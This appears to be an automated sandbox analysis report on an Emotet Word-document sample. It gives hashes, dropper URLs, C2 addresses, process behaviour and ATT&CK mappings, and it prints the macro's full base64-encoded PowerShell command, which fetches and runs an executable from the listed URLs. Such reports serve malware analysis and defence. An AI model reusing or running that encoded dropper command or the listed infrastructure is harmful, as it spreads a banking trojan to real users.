emotet | feea2193fa8429572e0d346487c4e58bffd2c6cfc320d05054411a8df5c3e0d3

General

Target

emotet_e2_feea2193fa8429572e0d346487c4e58bffd2c6cfc320d05054411a8df5c3e0d3_2020-07-29__000932._doc.doc
Size

175KB
MD5

8eab9cbc34bbb785f5ec8b0cd0ba61ba
SHA1

09b7f4c5e7aa3b29b2c67a6dc60ef2eb3534cc2d
SHA256

feea2193fa8429572e0d346487c4e58bffd2c6cfc320d05054411a8df5c3e0d3
SHA512

148ec8ae93cb345ac8bb9dcc9af9eebf618dabbeb523ea3b59af2736bc3742156c7887fd6608d5ddb73e71cb4e4b06d968c3357a5f4a5294409cff6da7c10ec9

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://fishbitedesign.com/delete_me/aq_no3_pixel079b/

exe.dropper

http://floridoweddings.com/wp-admin/1_fb_3rv7z6mr/

exe.dropper

http://floydswoodshop.com/floydswo/nn_g5_0s/

exe.dropper

http://fmcav.com/images/tihvt_5d_3znqq/

exe.dropper

http://goharm.com/wp-content/plugins/classic-editor/7b_k5_bo4lrnbmo6/

Extracted

Family

emotet

C2

76.27.179.47:80

212.51.142.238:8080

189.212.199.126:443

61.19.246.238:443

162.154.38.103:80

91.211.88.52:7080

83.110.223.58:443

124.45.106.173:443

116.203.32.252:8080

109.117.53.230:443

5.196.74.210:8080

75.139.38.211:80

168.235.67.138:7080

176.111.60.55:8080

169.239.182.217:8080

74.208.45.104:8080

31.31.77.83:443

222.214.218.37:4143

37.139.21.175:8080

91.205.215.66:443

rsa_pubkey.plain

Signatures

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

WINWORD.EXE227.execatsrv.exe

pid	process
60	WINWORD.EXE
60	WINWORD.EXE
60	WINWORD.EXE
60	WINWORD.EXE
60	WINWORD.EXE
60	WINWORD.EXE
60	WINWORD.EXE
60	WINWORD.EXE
60	WINWORD.EXE
3744	227.exe
3744	227.exe
2352	catsrv.exe
2352	catsrv.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.execatsrv.exe

pid process

3600 powersheLL.exe
3600 powersheLL.exe
3600 powersheLL.exe
2352 catsrv.exe
2352 catsrv.exe
2352 catsrv.exe
2352 catsrv.exe
Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

25 3600 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

227.execatsrv.exe

pid process

3744 227.exe
2352 catsrv.exe

pid	process
3600	powersheLL.exe
3600	powersheLL.exe
3600	powersheLL.exe
2352	catsrv.exe
2352	catsrv.exe
2352	catsrv.exe
2352	catsrv.exe

flow	pid	process
25	3600	powersheLL.exe

pid	process
3744	227.exe
2352	catsrv.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/3744-9-0x0000000002290000-0x000000000229C000-memory.dmp	emotet
behavioral2/memory/2352-12-0x0000000002130000-0x000000000213C000-memory.dmp	emotet

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

60 WINWORD.EXE
60 WINWORD.EXE
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3600 488 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 3600 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3600	488	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	3600	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

227.exe

description	pid	process	target process
PID 3744 wrote to memory of 2352	3744	227.exe	catsrv.exe
PID 3744 wrote to memory of 2352	3744	227.exe	catsrv.exe
PID 3744 wrote to memory of 2352	3744	227.exe	catsrv.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

227.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\MSAudDecMFT\catsrv.exe 227.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\MSAudDecMFT\catsrv.exe	227.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_feea2193fa8429572e0d346487c4e58bffd2c6cfc320d05054411a8df5c3e0d3_2020-07-29__000932._doc.doc" /o ""
1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
PID:60

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABBAE4ATABWAE4AaQBmAHoAPQAnAEoAQgBXAE4AUQBpAGUAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAYABpAGAAVABZAFAAUgBPAHQAbwBjAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEcATQBCAFcASQBtAGsAawAgAD0AIAAnADIAMgA3ACcAOwAkAFYAWABZAEUARgB3AHcAcQA9ACcASQBUAEUASwBVAHUAdgBsACcAOwAkAE0AUwBSAEsASgB1AGQAdgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARwBNAEIAVwBJAG0AawBrACsAJwAuAGUAeABlACcAOwAkAFEARgBKAEUASwBoAHQAdAA9ACcAVABXAFMAUwBFAGcAbABwACcAOwAkAFcAQgBWAE0ASABqAHAAeQA9AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBlAHQALgBXAEUAYgBjAGwAaQBlAG4AdAA7ACQARgBHAFQASABBAGEAZABkAD0AJwBoAHQAdABwADoALwAvAGYAaQBzAGgAYgBpAHQAZQBkAGUAcwBpAGcAbgAuAGMAbwBtAC8AZABlAGwAZQB0AGUAXwBtAGUALwBhAHEAXwBuAG8AMwBfAHAAaQB4AGUAbAAwADcAOQBiAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHIAaQBkAG8AdwBlAGQAZABpAG4AZwBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwAxAF8AZgBiAF8AMwByAHYANwB6ADYAbQByAC8AKgBoAHQAdABwADoALwAvAGYAbABvAHkAZABzAHcAbwBvAGQAcwBoAG8AcAAuAGMAbwBtAC8AZgBsAG8AeQBkAHMAdwBvAC8AbgBuAF8AZwA1AF8AMABzAC8AKgBoAHQAdABwADoALwAvAGYAbQBjAGEAdgAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwB0AGkAaAB2AHQAXwA1AGQAXwAzAHoAbgBxAHEALwAqAGgAdAB0AHAAOgAvAC8AZwBvAGgAYQByAG0ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBwAGwAdQBnAGkAbgBzAC8AYwBsAGEAcwBzAGkAYwAtAGUAZABpAHQAbwByAC8ANwBiAF8AawA1AF8AYgBvADQAbAByAG4AYgBtAG8ANgAvACcALgAiAFMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQwBJAEcAWgBSAHIAcwBxAD0AJwBGAFIAQgBUAFUAeABrAG0AJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAQgBRAFUARgBpAHcAeQAgAGkAbgAgACQARgBHAFQASABBAGEAZABkACkAewB0AHIAeQB7ACQAVwBCAFYATQBIAGoAcAB5AC4AIgBkAE8AVwBOAEwAbwBhAGAAZABGAGAAaQBgAGwAZQAiACgAJABGAEIAUQBVAEYAaQB3AHkALAAgACQATQBTAFIASwBKAHUAZAB2ACkAOwAkAFAAUQBOAFIASwBtAG8AZAA9ACcAVQBQAE8AWABaAGYAZQB0ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBTAFIASwBKAHUAZAB2ACkALgAiAGwARQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAyADEAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAFIAYABlAGEAdABlACIAKAAkAE0AUwBSAEsASgB1AGQAdgApADsAJABRAE4AUwBMAFQAbgBvAGMAPQAnAEEAQwBWAEkAUwBnAHYAeQAnADsAYgByAGUAYQBrADsAJABMAFkAVQBMAE8AeAB5AGEAPQAnAEgAUwBXAE8AQQB1AHgAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABYAEYAVQBEAFYAagBoAGQAPQAnAFkASABXAFIARABnAGIAaQAnAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:3600

C:\Users\Admin\227.exe
C:\Users\Admin\227.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:3744

C:\Windows\SysWOW64\MSAudDecMFT\catsrv.exe
"C:\Windows\SysWOW64\MSAudDecMFT\catsrv.exe"
2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
- Executes dropped EXE
PID:2352

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\227.exe

Download Submit
C:\Users\Admin\227.exe

Download Submit
C:\Windows\SysWOW64\MSAudDecMFT\catsrv.exe

Download Submit
memory/60-3-0x0000019F22097000-0x0000019F2209C000-memory.dmp

Filesize
20KB

Download
memory/2352-10-0x0000000000000000-mapping.dmp

Download
memory/2352-12-0x0000000002130000-0x000000000213C000-memory.dmp

Filesize
48KB

Download
memory/3744-9-0x0000000002290000-0x000000000229C000-memory.dmp

Filesize
48KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads